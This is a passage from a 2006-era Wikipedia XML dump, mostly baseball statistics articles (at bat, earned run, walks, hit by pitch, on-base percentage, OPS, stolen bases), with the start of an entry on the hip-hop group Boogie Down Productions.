An example is the [[Internet Archive]], which uses the term in ranking [[uploading and downloading|downloads]]. Its &quot;batting average&quot; indicates the [[correlation]] between views of a description page of a downloadable item, and the number of actual downloads of the item. This avoids the effect of popular downloads by volume swamping potentially more focused and useful downloads, producing an arguably more useful ranking.

[[Category:Baseball statistics]]
[[Category:Cricket terminology]]
[[Category:Batting (cricket)]]
[[Category:Cricket records and statistics]]

[[ja:打率]]
[[zh:打擊率]]</text>
    </revision>
  </page>
  <page>
    <title>At bat</title>
    <id>3800</id>
    <revision>
      <id>42010148</id>
      <timestamp>2006-03-03T04:57:37Z</timestamp>
      <contributor>
        <username>Zach Smith</username>
        <id>463629</id>
      </contributor>
      <minor />
      <comment>Random &quot;Andre is wrong&quot; comment deleted, not sure why it was there</comment>
      <text xml:space="preserve">In [[baseball statistics]], an '''at bat''' ('''AB''') is used to calculate other data such as [[batting average]]. A [[batter_(baseball)|batter]] has an ''at bat'' every time he faces a [[pitcher]] ''except'' under the following circumstances:
* He receives a [[base on balls]] (BB). {{ref|1}}
* He is [[hit by pitch|hit by a pitch]] (HBP).
* He hits a [[sacrifice fly]] or a [[sacrifice hit|sacrifice bunt]].
* He is awarded [[First baseman|first base]] due to interference or obstruction, usually by the [[catcher]].
* The [[inning]] ends while he is still at bat (due to the third [[out_(baseball)|out]] being made by a runner [[caught stealing]], for example).
* He is replaced by another hitter before his at bat is completed (unless he is replaced with two strikes and his replacement strikes out).

==Examples==
An ''at bat'' is counted when
* the batter reaches first base on a [[Hit (baseball statistics)|hit]]
* the batter reaches first base on an [[Error (baseball statistics)|error]]
* the batter is called [[Out (baseball)|out]] for any reason
* there is a [[fielder's choice]]

==At bat as a phrase==
&quot;At bat,&quot; &quot;up,&quot; &quot;up at bat,&quot; and &quot;at the plate&quot; are phrases in baseball describing someone that is facing the pitcher.  Interestingly, just because a player is described as being at bat (facing the pitcher) does not mean he will be given an '''at bat''' in his statistics, and in fact just signifies a [[plate appearance]].

==Notes==
{{note|1}} In [[1887 in baseball|1887]], [[Major League Baseball]] counted bases on balls as [[Hit (baseball)|hits]].  The result was skyrocketed [[batting average]]s, including some near .500, and the experiment was abandoned the following season.

==See also==
* [[Batting order (baseball)|Batting order]]

[[Category:Baseball statistics]]

[[ja:打数]]
[[zh:打數]]</text>
    </revision>
  </page>
  <page>
    <title>Earned run</title>
    <id>3801</id>
    <revision>
      <id>15902116</id>
      <timestamp>2005-05-22T07:07:38Z</timestamp>
      <contributor>
        <ip>72.25.103.78</ip>
      </contributor>
      <comment>Description of unearned run circumstances</comment>
      <text xml:space="preserve">In [[baseball]], an '''earned run''' is any [[run (baseball statistics)|run]] for which the [[pitcher (baseball)|pitcher]] is held accountable (i.e. the run did not score as a result of a fielding [[error (baseball statistics)|error]] or a [[passed ball]]).  If a run is not earned, it is an '''unearned run'''.  Even if a runner scores on a fielding error by the pitcher himself, it is an unearned run.

Earned runs are specially denoted because of their use in calculating a pitcher's [[earned run average]].

In determining earned runs, the [[official scorer]] must reconstruct the [[inning]] as it would have occurred without the errors (which include [[catcher's interference]]) and passed balls, with the benefit of the doubt always being given to the pitcher in determining which bases would have been reached by errorless play.  

A run is counted as unearned when:

* The baserunner would have been out had an error not been committed.
* The run is scored after an error is committed that would have made the third out
* A baserunner scores on a play where an error was committed, and the inning ends before that runner would have had a chance to score.  Example: A passed ball allows a runner to score.  The batter at the plate then [[strikeout|strikes out]] to end the inning.  The run is unearned.  If the batter had instead got a [[base hit]], the run would be earned, since the runner would have scored on that play.

In most other cases, a run is scored as an earned run.


==See also==

* [[Baseball statistics]]

[[Category:Baseball statistics]]

[[ja:&amp;#33258;&amp;#36012;&amp;#28857;]]</text>
    </revision>
  </page>
  <page>
    <title>Base on balls</title>
    <id>3802</id>
    <revision>
      <id>34889333</id>
      <timestamp>2006-01-12T14:27:20Z</timestamp>
      <contributor>
        <username>Wknight94</username>
        <id>352579</id>
      </contributor>
      <comment>Note about walks as hits</comment>
      <text xml:space="preserve">In [[baseball statistics]], a '''base on balls''' ('''BB'''), also called a '''walk''', is credited to a batter and against a pitcher when  a batter receives four pitches that the umpire calls [[strike zone|balls]].  It is called a &quot;walk&quot; because the batter is then entitled to walk to first base, or more specifically (as defined in the rules of baseball) he is &quot;entitled to first base without liability to be put out.&quot;  Receiving a base on balls does not count as an official [[at bat]] for a batter but does count as a [[plate appearance]]. {{ref|1}}

A pitcher can also choose to [[intentional base on balls|intentionally walk]] a batter.  This is usually done for the purpose of facing a different batter that the team feels they have a better chance of getting out.

A [[hit by pitch]] is not considered a walk, though the consequences are often the same for both.

==Walk leaders in Major League Baseball==

'''Bold''' denotes active players. Totals are through the 2004 season. On [[July 4]], [[2004]], [[Barry Bonds]] drew his 2,191st base on balls to pass the career record of [[Rickey Henderson]], who is no longer active in the major leagues.

===Career===

# '''[[Barry Bonds]]''' - 2,302
# [[Rickey Henderson]] - 2,190
# [[Babe Ruth]] - 2,062
# [[Ted Williams]] - 2,021
# [[Joe Morgan]] - 1,865

===Season===

# '''[[Barry Bonds]]''' ([[2004]]) - 232
# '''[[Barry Bonds]]''' ([[2002]]) - 198
# '''[[Barry Bonds]]''' ([[2001]]) - 177
# [[Babe Ruth]] ([[1923]]) - 170
# [[Mark McGwire]] ([[1998]]); [[Ted Williams]] ([[1947]] and [[1949]]) - 162 

==Notes==
{{note|1}} In [[1887 in baseball|1887]], [[Major League Baseball]] counted bases on balls as [[Hit (baseball)|hits]].  The result was skyrocketed [[batting average]]s, including some near .500, and the experiment was abandoned the following season.

==See also==
*[[Moneyball: The Art of Winning an Unfair Game]]

[[Category:Baseball statistics]]
[[Category:Baseball rules]]
[[ja:四球]]</text>
    </revision>
  </page>
  <page>
    <title>Ball (baseball statistics)</title>
    <id>3803</id>
    <revision>
      <id>15902118</id>
      <timestamp>2004-09-30T21:58:53Z</timestamp>
      <contributor>
        <username>MisfitToys</username>
        <id>58947</id>
      </contributor>
      <comment>redirecting to [[Strike Zone]]</comment>
      <text xml:space="preserve">#REDIRECT [[Strike zone]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball statistics/SLG</title>
    <id>3804</id>
    <revision>
      <id>37701972</id>
      <timestamp>2006-02-01T17:43:26Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Slugging percentage&quot; +&quot;Slugging average&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Slugging average]]</text>
    </revision>
  </page>
  <page>
    <title>Total bases</title>
    <id>3805</id>
    <revision>
      <id>36609698</id>
      <timestamp>2006-01-25T06:25:58Z</timestamp>
      <contributor>
        <ip>24.126.40.49</ip>
      </contributor>
      <text xml:space="preserve">{{sabermetric | formula = &lt;math&gt;TB = H + 2B + 2 \cdot 3B + 3 \cdot HR&lt;/math&gt;}}

In [[baseball statistics]], '''total bases''' refers to the number of bases a player has gained with [[hit (baseball)|hits]], i.e. the sum of his/her hits [[weight function|weighted]] by 1 for a [[single (baseball)|single]] and a [[double (baseball)|double]], 2 for a [[triple (baseball)|triple]] and 3 for a [[home run]].

Only bases from safe hits count toward this total. Total bases can be calculated from commonly used baseball statistics by using the formula &lt;math&gt;TB = 1B + 2B + 2 x 3B + 3 x HR&lt;/math&gt;

==See also==
*[[Slugger]]
*[[Slugging average]]
*[http://sports.espn.go.com/mlb/news/story?page=stats/glossary ESPN's MLB Statistics Glossary]

[[Category:Baseball statistics]]

[[ja:塁打]]
[[zh:壘打數]]</text>
    </revision>
  </page>
  <page>
    <title>Hit by pitch</title>
    <id>3806</id>
    <revision>
      <id>42045894</id>
      <timestamp>2006-03-03T12:36:23Z</timestamp>
      <contributor>
        <username>Iceberg3k</username>
        <id>50063</id>
      </contributor>
      <comment>/* Crackdown */</comment>
      <text xml:space="preserve">In [[baseball]], being '''hit by a pitch''' refers to the batter being hit in some part of the body by a pitch from the [[pitcher]]. In [[baseball statistics]], '''hit by pitch''' ('''HBP''') records the number of times a batter is awarded first base by virtue of being hit by a pitched ball.  In pitching statistics '''HB''' records the number of times a batter opposing each pitcher is awarded first base due to being hit by a pitch.  For this latter usage, the terms ''hit batsman'' or ''hit batter'' are used.

==Conditions for 'HBP'==

A batter becomes a [[baserunner]] and is awarded first base when he or his equipment (except for his bat) is touched by a pitched ball outside of the strike zone, ''and'' he attempts to avoid it or had no opportunity to avoid it ''and'' he did not swing at the pitch.  

It is often incorrectly thought that a hit by pitch is not awarded on a pitch that has touched the ground.  Such a bouncing pitch is like any other, and if a batter is hit by such a pitch, he will be awarded first unless he made no attempt to avoid it.

==Tactical use==

[[Pitching inside]] is a common and legal tactic in baseball, and many players make use of [[brushback]] pitches, or pitches aimed underneath the chin, to keep players away from the [[home plate|plate]].  However, throwing at a batter intentionally is illegal, and can be very dangerous.  When an [[umpire (baseball)|umpire]] believes a pitcher has thrown at a batter intentionally, a warning is issued to the pitcher and the [[manager (baseball)|managers]] of both teams.  From that point on, any pitch thrown at a batter causes the pitcher and the manager of the offending team to be ejected immediately from the game.  Serious offenses such as a ball thrown at the head (called a [[beanball]]) can result in the immediate ejection of the pitcher, and in some cases the manager as well, even without a warning.

Oftentimes, if a player is acting rude or unsportsmanlike, or having an extraordinarily good day, the pitcher may intentionally hit the batter, disguising it as a pitch that accidentally slipped his control.  Managers may also order a pitcher to throw such a pitch (sometimes called a &quot;plunking&quot;). These pitches are often aimed at the lower back and slower than normal, designed to send a message more than anything else.  The opposing team usually hits a batter in retaliation for this act.  The plunkings generally end there because of umpire warnings, but in some cases things can get out of hand, and sometimes they lead to [[charging the mound|fights]], bench-clearing brawls, and several ejections.  Such plunking duels are more common in the [[American League]] than in the [[National League]], because in the NL the pitchers must bat for themselves and open themselves up to direct retaliation (although hitting a fellow pitcher is a serious breach of baseball etiquette).

==Crackdown==

In the 2004 season, in an attempt to cut down on headhunting in the American League, umpires began cracking down on players who intentionally threw at batters and ejecting pitchers who throw directly at a batter's body more frequently.  [[Baltimore Orioles]] pitcher [[Jorge Julio]] was suspended in September under this change in policy after throwing a pitch at [[Minnesota Twins]] infielder [[Augie Ojeda]]'s head on [[September 7]].  This pitch was thrown one pitch after Julio had given up a home run to the previous batter in the order.

==Miscellaneous==

The all-time record for career HBP is held by [[Hughie Jennings]], a [[19th century]] player who totalled 287 in a 17-year career.  For the modern era, the career HBP leader is [[Craig Biggio]] of the [[Houston Astros]], who set his record in 2005, and currently totals 273 HBPs.  Before that time, the record had been held by [[Don Baylor]].  [[Ron Hunt]], who held the career record immediately before Baylor and still holds the modern single-season record with 50, sometimes wore a wetsuit underneath his uniform to deaden the pain from being hit by pitches.  

A quotation regarding HBP by former baseball coach [[Alvin Dark]] reads: &quot;Any pitcher who throws at a batter and deliberately tries to hit him is a communist.&quot;

To this date, only one player has died as a result of being struck by a pitch: [[Ray Chapman]] of the [[Cleveland Indians]] in [[1920]], who was hit in the head by [[Carl Mays]].

[[Category:Baseball statistics]]
[[Category:Baseball rules]]
[[Category:Baseball pitching]]

[[ja:死球]]
[[zh:觸身球]]</text>
    </revision>
  </page>
  <page>
    <title>Hit (baseball)</title>
    <id>3807</id>
    <revision>
      <id>37694650</id>
      <timestamp>2006-02-01T16:48:44Z</timestamp>
      <contributor>
        <username>Rothesay</username>
        <id>709911</id>
      </contributor>
      <comment>added image &amp; caption</comment>
      <text xml:space="preserve">[[Image:TyCobbTigers.jpg|250px|thumb|right|In [[Major League Baseball]] history, [[Ty Cobb]] had a record 4,191 hits by [[1928 in sports|1928]]; [[Pete Rose]] would surpass it 57 years later, and finish with 4,256 career hits.]]

In [[baseball statistics]], a '''hit''' (denoted by '''H'''), sometimes called a '''base hit''', is credited to a [[batter (baseball)|batter]] when the batter safely reaches [[First baseman|first base]] after hitting the ball into [[fair ball|fair]] territory, without the benefit of an [[error (baseball statistics)|error]] or a [[fielder's choice]]. To do this, the batter must reach first base before any fielder can either [[tag out|tag]] him with the ball, throw to another player protecting the base before the batter reaches it, or [[force play|tag first base]] while carrying the ball.  The hit is scored the moment the batter reaches first base safely - if the [[baserunner|runner]] is put out while attempting a [[double (baseball statistics)|double]] or [[triple (baseball statistics)|triple]] on the same play, he still gets credit for the hit.

In cases where a ball takes an unusual bounce, and a fielder might have a chance of throwing the runner out but does not, it is at the [[official scorer]]'s discretion whether the batter is given a hit or instead reached on an error.  Most often, an unusual bounce is considered a hit, as the fielder cannot anticipate the errant bounce and make a play on it.

A hit for one base is called a [[single (baseball statistics)|single]] - the number of singles is equal to the total number of hits minus the number of [[extra base hit]]s.  A [[home run]] is also scored as a hit.

If a batter reaches first base because of offensive interference by a preceding runner (including if a preceding runner is hit by a batted ball), he is also credited with a hit.

In [[1887 in baseball|1887]], [[Major League Baseball]] counted [[Base on balls|bases on balls]] as hits.  The result was skyrocketed [[batting average]]s, including some near .500, and the experiment was abandoned the following season.

==See also==
* [[Baseball statistics]]
* [[List of lifetime MLB hit leaders through history]]

[[Category:Baseball statistics]]

[[ja:安打]]
[[zh:安打]]</text>
    </revision>
  </page>
  <page>
    <title>On base percentage</title>
    <id>3808</id>
    <revision>
      <id>38565007</id>
      <timestamp>2006-02-07T03:36:56Z</timestamp>
      <contributor>
        <username>WilliamKF</username>
        <id>156790</id>
      </contributor>
      <minor />
      <comment>Add links.</comment>
      <text xml:space="preserve">In [[baseball statistics]], '''on base percentage (OBP)''' (sometimes referred to as '''on base average (OBA)''') is a measure of how often a [[batting (baseball)|batter]] gets to first base for any reason other than a [[error (baseball)|fielding error]] or a [[fielder's choice]]. OBP is part of the equation for determining [[on-base plus slugging]].

Though extremely unlikely, it is possible for a player's on base percentage to be lower than his [[batting average]] (H/AB). If a player had 2 hits in 5 at bats with a sacrifice fly, his batting average would be .400, but his on base percentage would be .333.

To calculate '''on base percentage (OBP)''' use this formula from the [http://mlb.mlb.com/NASApp/mlb/mlb/official_info/baseball_basics/stats_101.jsp Major League Baseball] site.

:&lt;math&gt;OBP = \frac{H+BB+HBP}{AB+BB+HBP+SF}&lt;/math&gt;

where

*''H'' = [[Hit (baseball)|Hits]]
*''BB'' = [[bases on balls]]
*''HBP'' = [[Hit by pitch]]
*''AB'' = [[At bats]]
*''SF'' = sacrifice flies



==See also==
*[[Moneyball: The Art of Winning an Unfair Game]]

[[Category:Baseball statistics]]

[[ja:&amp;#20986;&amp;#22593;&amp;#29575;]]
[[zh:上壘率]]

&amp;nbsp;
{{baseball-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Sacrifice fly</title>
    <id>3809</id>
    <revision>
      <id>40360352</id>
      <timestamp>2006-02-20T01:25:48Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Category:Baseball statistics]]
In [[baseball]], a batted ball is considered a '''sacrifice fly''' (denoted by ''SF'') if the following four criteria are met:

* There are fewer than two outs.
* The ball is hit to the [[outfield]]: a [[fly ball]].
* The batter is out because an outfielder or an [[infielder]] running in the outfield catches the fly ball (or would have been out if not for an [[Error (baseball)|error]]).
* A runner who is already on base scores on the play.

A sacrifice fly is not counted as a turn [[at bat]] (''AB'') for the batter and he is also credited with a [[run batted in]] (''RBI'').  The purpose of not counting a sacrifice fly as an at bat is to avoid penalizing hitters for a successful tactical maneuver.  [[Manager (baseball)|Baseball managers]] frequently direct their players to hit a sacrifice fly with a player on third base with less than two outs.

The sacrifice fly is still credited even if another runner is put out for failing to ''tag up'' (return to his base after the catch), so long as the run scores prior to the third out.  A fly-out [[double play]] does not affect the validity of the sacrifice fly.

In the case of a fly ball dropped for an error, the sacrifice fly is only credited if the official scorer believes the run would have scored had the ball been caught.

In most cases, the sacrifice fly results because a runner scores from third base.  However, in rare cases, a fast runner may legally tag up and score from second base if the fly ball was hit to a particularly deep part of the field.  By rule, this is still credited as a sacrifice fly and an RBI, unless the player only reaches home due to an error.

==See also==

* [[Baseball statistics]]

==External links==

* [http://www.mlb.com/NASApp/mlb/mlb/official_info/official_rules/official_scorer_10.jsp ''MLB'' Official Rules: 10.00 The Official Scorer]

[[ja:犠牲フライ]]
[[zh:高飛犧牲打]]</text>
    </revision>
  </page>
  <page>
    <title>On-base plus slugging</title>
    <id>3810</id>
    <revision>
      <id>39452118</id>
      <timestamp>2006-02-13T05:27:54Z</timestamp>
      <contributor>
        <ip>129.67.53.254</ip>
      </contributor>
      <text xml:space="preserve">In [[baseball statistics]], '''on-base plus slugging''' (denoted by '''OPS''') incorporates [[on base percentage]] (OBP) and [[slugging percentage]] (SLG). This statistic combines both the ability of a player to get on base and to hit for power. It is very popular in measuring the offensive worth of a player, because it is easy to calculate and has a strong positive correlation, at the team level, with runs per game. An OPS of .900 or higher puts the player in the upper echelon of offensive ability. Typically, the league leader in OPS will hover near the 1.000 mark. 

Note that since SLG and OBP are usually given to only three or four digits of precision, those who look for arbitrary accuracy might want to use the following, more accurate formula:

{{sabermetric | formula = &lt;math&gt;OPS = \frac{AB(H+BB+HBP)+TB(AB+BB+SF+HBP)}{AB(AB+BB+SF+HBP)}&lt;/math&gt;}}

The math involved in calculating OPS is not simply adding OBP and SLG. Such an equation is inexecutable because the denominator of each fraction is different.

The [[Major League Baseball]] players with a lifetime OPS higher than 1.000 are:
# [[Babe Ruth]], 1.1636
# [[Ted Williams]], 1.1155
# [[Lou Gehrig]], 1.0798
# [[Barry Bonds]], 1.0533
# [[Todd Helton]], 1.0404
# [[Jimmie Foxx]], 1.0376
# [[Albert Pujols]], 1.0372
# [[Hank Greenberg]], 1.0169
# [[Rogers Hornsby]], 1.0103
# [[Manny Ramírez]], 1.0076

Foxx has the highest career OPS for a right-handed batter.

The top ten single-season performances in MLB are (all left-handed hitters):

# Barry Bonds, 1.4217 (2004)
# Barry Bonds, 1.3807 (2002)
# Babe Ruth, 1.3791 (1920)
# Barry Bonds, 1.3785 (2001)
# Babe Ruth, 1.3586 (1921)
# Babe Ruth, 1.3089 (1923)
# Ted Williams, 1.2874 (1941)
# Barry Bonds, 1.2778 (2003)
# Babe Ruth, 1.2582 (1927)
# Ted Williams, 1.2566 (1957)

The highest single-season mark for a right-handed hitter was 1.2449 by [[Rogers Hornsby]] in 1925 (13th on the all-time list).  Since 1925, the highest single-season OPS for a right-hander is 1.2224 by [[Mark McGwire]] in 1998.

OPS+, Adjusted OPS, is a closely related statistic.  OPS+ is OPS adjusted for the park and the league the player played in.  

[[Category:Baseball statistics]]

[[ja:OPS (野球)]]</text>
    </revision>
  </page>
  <page>
    <title>Stolen base</title>
    <id>3811</id>
    <revision>
      <id>38977456</id>
      <timestamp>2006-02-09T22:19:44Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">[[Image:Baseball_steal.jpg|thumb|360px|The all-time stolen base leader, [[Rickey Henderson]], swipes third in [[1985]].]]

In [[baseball]], a '''stolen base''' occurs when a [[baserunner]] successfully advances to the next base while the [[pitcher]] is delivering the ball to [[home plate]].  In [[baseball statistics]], stolen bases are denoted by '''SB'''.  If the [[catcher]] thwarts the stolen base by throwing the runner out, the event is recorded as ''caught stealing'' (CS).  

The stolen base (or its attempt) is one of the more exciting plays in baseball.  It has a feeling of free-spiritedness and daring, as the runner forgoes the safer course of staying at his base until the batter hits the ball.  Successful base-stealing requires not just simple running speed, but also good base-running instincts, quickness, and split-second timing.

==Background==
In the 19th century, stolen bases were credited when a baserunner reached an extra base on a base hit from another player.  For example if a runner on [[First baseman|first base]] reached [[Third baseman|third base]] on a single, it would count as a steal.  A Scottish-born [[outfielder]] named [[Hugh Nicol]] was once credited with 138 stolen bases (many, but not all, of which would have counted under modern rules) in one year.  Modern steal rules were implemented in [[1898]], and steals are now only credited when a runner successfully takes an extra base while the ball is being pitched.  In addition, if the situation of the game is such that the steal is of little use (usually late innings with a large difference in score), and the catcher does not attempt to throw out the runner, the runner is not credited with a steal, and the base is attributed to ''defensive indifference''.

Base stealing was popular in the game's early decades, with speedsters such as [[Ty Cobb]] and [[Clyde Milan]] stealing nearly 100 bases in a season.  But the tactic fell into relative disuse after [[Babe Ruth]] introduced the era of the home run -- in [[1955]], for example, no one in baseball stole more than 25 bases.  Base-stealing was brought back to prominence primarily by [[Maury Wills]], who broke Cobb's single-season record by stealing 104 bases in [[1962 in sports|1962]].  Wills' record was broken in turn by [[Lou Brock]] in [[1974 in sports|1974]], and [[Rickey Henderson]] in [[1982 in sports|1982]].  

==Record Holders==
[[Rickey Henderson]] is the most prolific base stealer in [[Major League Baseball]] history, with 1,406 over his career.  This total is 468 more than the runner-up ([[Lou Brock]], who has 938) and, as of the end of the [[2004 in baseball|2004]] season, an astonishing 824 more than the next-highest active player ([[Kenny Lofton]]).  Henderson also holds the modern record for steals in one season, with 130 in [[1982]].

There are only two players in Major League Baseball history with at least twelve seasons of fifty or more stolen bases: Lou Brock (12) and Rickey Henderson (13).  Interestingly, Lou Brock's twelve seasons were ALL consecutive, whereas Rickey Henderson &quot;only&quot; had seven of his thirteen 50+ steal seasons consecutively.  At the end of the 1983 season, Rickey Henderson had become the first and only player to have 2 consecutive seasons (1982 &amp; 1983) with more than 100 stolen bases. Four years later, [[Vince Coleman (baseball)|Vince Coleman]] broke that unbelievable record when he stole more than 100 bases for 3 consecutive seasons (1985, 1986 &amp; 1987).

==Technique and Strategy==
A base-stealing runner must begin running as soon as the pitcher has committed himself to throwing a pitch to home plate, neither sooner nor later.  If he begins to run too soon, the pitcher may throw to a base rather than to home &amp;mdash; in this case, the runner is ''picked off'', and will most likely be tagged out.  Before the pitch, the runner will often take a ''lead-off'', walking several steps away from the base as a head start for his next advance.  In some cases, the pitcher may ''hold the runner on'' by throwing to the base several times before pitching, in the hope of dissuading the runner from too big a lead-off.  This action can also result in the runner being tagged out in a pick-off.  Another popular strategy is for the runner to attempt a steal while the hitter is instructed to swing at the pitch if it is at all hittable.  This ''[[hit and run (baseball)|hit-and-run play]]'' can give the runner a good head start to take an extra base on the hit.  But if the hitter fails to hit the ball, the hit-and-run becomes a pure steal attempt, and the runner may be thrown out. Another risk of the hit-and-run is that a caught line-drive could result in an easy double play.

A second and lessor known technique is the &quot;delayed&quot; steal. This technique, famously practiced by Eddie Stanky of the Brooklyn Dodgers, is where the runner does not break immediately for second when the pitcher commits to the plate. Instead the runner takes two or three large shuffles off of the base when the pitchers goes to the plate. This keys the middle infielders and the catcher to let their guard down, as it appears the runner is not stealing, but only getting a good secondary lead in case the ball is hit. In reality the delayed stealer is closing distance with second base. When the ball crosses the plate the runner breaks for second base, and is essentially stealing the base on the middle infielders who have not covered second base. Addtionally, the catcher is not ready to come out of his crouch and cannot throw to second until an infielder gets there. The delayed steal is a deceptive technique that is sometimes executed by even slow runners and many times results in a catcher throwing into centerfield. The technique is rarely seen at the Major League level but is used effectively by multiple college programs.

[[Second base]] is the base most often stolen, as it is farthest from home plate and thus a longer throw from the catcher is required to prevent it.  Third base is more difficult to steal, but this is still commonly done.  It is possible for a player to steal home base, but this requires great daring and aggressiveness as the ball will almost certainly arrive at home plate before the runner.  [[Ty Cobb]] holds the records for most steals of home in a single season (8) as well as for a career (54).  [[Jackie Robinson]] was also renowned for the thrilling feat of stealing home.  In more recent decades, a pure steal of home is hardly ever attempted, although home base is still occasionally stolen during a &quot;delayed double steal,&quot; in which a runner on first base attempts to steal second while the runner on third base breaks for home as soon as the catcher throws to second base. 

It is sometimes thought that [[First baseman|first base]] can be stolen by the batter, because he can run to first base if the catcher fails to catch a third strike.  But such a play (if the batter is successful) is not recorded as a stolen base, but as a [[strikeout]] plus a [[passed ball]] or [[wild pitch]].  In baseball's earlier decades, a runner on second base could steal first base, perhaps with the intention of drawing a throw which might allow a runner on third to score.  But modern rules forbid going backwards on the basepaths once a base has been legally reached, so there is currently no legal way to steal first base.  

Base stealing is an important characteristic of a particular style of baseball, sometimes called &quot;small ball.&quot;  A team playing with this style emphasizes doing little things (including as risky running plays like base-stealing) to advance runners and score runs, often relying on pitching and defense to keep games close.  The [[Los Angeles Dodgers]] of the 1960's, led by pitcher [[Sandy Koufax]] and speedy shortstop [[Maury Wills]], were a successful example of this style.  The antithesis of this would be a team that relies on power hitting.  The [[Baltimore Orioles]] of the 1970's, led by manager [[Earl Weaver]], were an example of such a &quot;slugging&quot; team that aspires to score most of its runs by a three-run homer.  Oftentimes the &quot;small ball&quot; model is associated with the [[National League]], while power hitting is seen as more associated with the [[American League]].  However, some of the more successful American League teams of recent memory, including the [[2005 in baseball|2005]] [[Chicago White Sox]] and the [[2002 in baseball|2002]] [[Los Angeles Angels of Anaheim|Anaheim Angels]], have experienced their success in part as a result of playing &quot;small ball,&quot; advancing runners through means such as the stolen base and the related [[hit and run (baseball)|hit and run]] play.  Successful teams often combine both styles, with a speedy runner or two complementing hitters with power.

==See also==
* [[The Steal]]

==Related links==
[http://mlb.mlb.com/NASApp/mlb/mlb/stats_historical/mlb_historical_leaders.jsp?baseballScope=mlb&amp;statType=1&amp;sortByStat=SB&amp;timeFrame=3&amp;timeSubFrame2=0 MLB.com list of All-Time Career steals leaders]

[[Category:Baseball statistics]]

[[ja:&amp;#30423;&amp;#22593;]]</text>
    </revision>
  </page>
  <page>
    <title>Plate appearance</title>
    <id>3812</id>
    <revision>
      <id>37292443</id>
      <timestamp>2006-01-30T01:31:20Z</timestamp>
      <contributor>
        <username>Silsor</username>
        <id>26195</id>
      </contributor>
      <minor />
      <comment>typos</comment>
      <text xml:space="preserve">In [[baseball statistics]], a player is credited with a '''plate appearance''' (denoted by '''PA''') each time he completes a turn batting.  A player completes a turn batting when:

* He is declared [[out (baseball)|out]] before reaching first base, or
* He reaches first base [[safe (baseball)|safely]], or
* He hits a [[fair ball]] which causes a third out on another runner (''see'' [[left on base]])

Thus, a batter does not have a plate appearance if, while he was at bat, the inning ended some other way (for example, a teammate on base is [[caught stealing]] for the third out).

Basically, &quot;plate appearances&quot; = [[At bat| at bats]] + some of the scenarios excluded from at bats such as [[base on balls]], [[hit by pitch]] or [[interference (baseball)#Catcher's interference|catcher's interference]] which positively affect the offensive team.

The main use of the plate appearance statistic is in calculating the [[on base percentage]], an alternative measurement of a position player's performance.

[[Category:Baseball statistics]]

[[ja:打席]]
[[zh:打席數]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball statistics/sabermetric</title>
    <id>3813</id>
    <revision>
      <id>15902128</id>
      <timestamp>2003-10-30T12:51:52Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>removing 'see also'</comment>
      <text xml:space="preserve">#REDIRECT [[Sabermetrics]]</text>
    </revision>
  </page>
  <page>
    <title>Games played</title>
    <id>3814</id>
    <revision>
      <id>33763249</id>
      <timestamp>2006-01-03T21:14:35Z</timestamp>
      <contributor>
        <username>Mareino</username>
        <id>114034</id>
      </contributor>
      <minor />
      <comment>adding information about other sports, removing stub tag</comment>
      <text xml:space="preserve">'''Games played''' (denoted by '''G''') is a sports [[statistic]]al category that indicates the total number of games in which a player has participated (in any capacity).   Generally, it does not matter in how much of the game the player was active.  

Using [[baseball]] as an example: if player A plays the whole game until there are two out in the bottom of the ninth inning, and then is replaced by player B as a pinch-runner for the final third of an inning, then A and B are each credited with one game played. Players are credited with a game played if they are listed on the lineup card or if they are announced as a substitute, even if they are subsequently replaced before taking part in the game.

&quot;Games played&quot;, therefore, can present somewhat different information from the related statistical category of [[games started]] as well as from the categories (usually only collected for baseball pitchers) of [[games finished]], [[complete games]], and [[innings pitched]].



''See also'': [[Baseball statistics]]

[[Category:Baseball statistics]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball statistics/BA Talk</title>
    <id>3815</id>
    <revision>
      <id>15902130</id>
      <timestamp>2002-07-25T00:09:31Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>redirect to talk of the non-subpage aritlce</comment>
      <text xml:space="preserve">#REDIRECT [[Talk:Baseball statistics]]</text>
    </revision>
  </page>
  <page>
    <title>Boogie Down Productions</title>
    <id>3817</id>
    <revision>
      <id>41315640</id>
      <timestamp>2006-02-26T14:29:21Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[NWA]] to [[N.W.A]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = BDP |
  image             = [[Image: Boogie_Down_Productions_crew.png|200px]] |
  years_active      = [[1987]]&amp;ndash;[[1996]]  |
  origin            = [[New York City]], [[USA]] |
  music_genre       = [[Hip-hop music|Hip-hop]] |
  record_label      = [[Jive Records]] |
  current_members   = [[KRS One|Kris Parker]]&lt;br /&gt;[[Scott La Rock|Scott Sterling (deceased)]]&lt;br&gt; [[Mad Lion]]&lt;br&gt;Channel Live&lt;br&gt;Simone |
}}

[[de:Boogie Down Productions]]
'''Boogie Down Productions''' was originally composed of [[KRS One]], [[D Nice]], and DJ [[Scott La Rock]]. The latter got shot after the release of BDP's debut album ''Criminal Minded'' in [[1987]], at about the same time when [[Ice T]] and [[N.W.A|NWA]] released their debut albums.  

While ''Criminal Minded'' was basically about sex and crime, BDP radically changed after Scott's death, becoming the most popular conscious rap group besides [[Public Enemy]]. BDP pioneered the fusion of [[Raggamuffin]] and [[hip hop music]]. 

